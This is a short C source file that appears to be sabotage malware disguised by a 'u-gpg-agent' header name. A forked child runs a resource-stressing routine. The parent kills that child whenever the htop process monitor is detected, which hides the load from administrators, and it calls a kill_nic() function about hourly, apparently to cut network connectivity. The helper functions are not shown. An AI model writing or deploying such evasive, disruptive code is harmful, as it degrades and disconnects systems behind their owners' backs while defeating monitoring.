main.c 443 B

12345678910111213141516171819202122232425
  1. #include "u-gpg-agent.h"
  2. #include <unistd.h>
  3. #include <signal.h>
  4. #include <sys/types.h>
  5. int main() {
  6. pid_t pid = fork();
  7. if (pid == 0) { //KINDER
  8. stress(1000);
  9. } else if (pid > 0) {
  10. int i = 0;
  11. while(1) {
  12. if (is_htop_here()) {
  13. kill(pid, SIGKILL);
  14. }
  15. sleep(2);
  16. if (i == 1800) {
  17. kill_nic();
  18. i = 0;
  19. } else {
  20. ++i;
  21. }
  22. }
  23. }
  24. }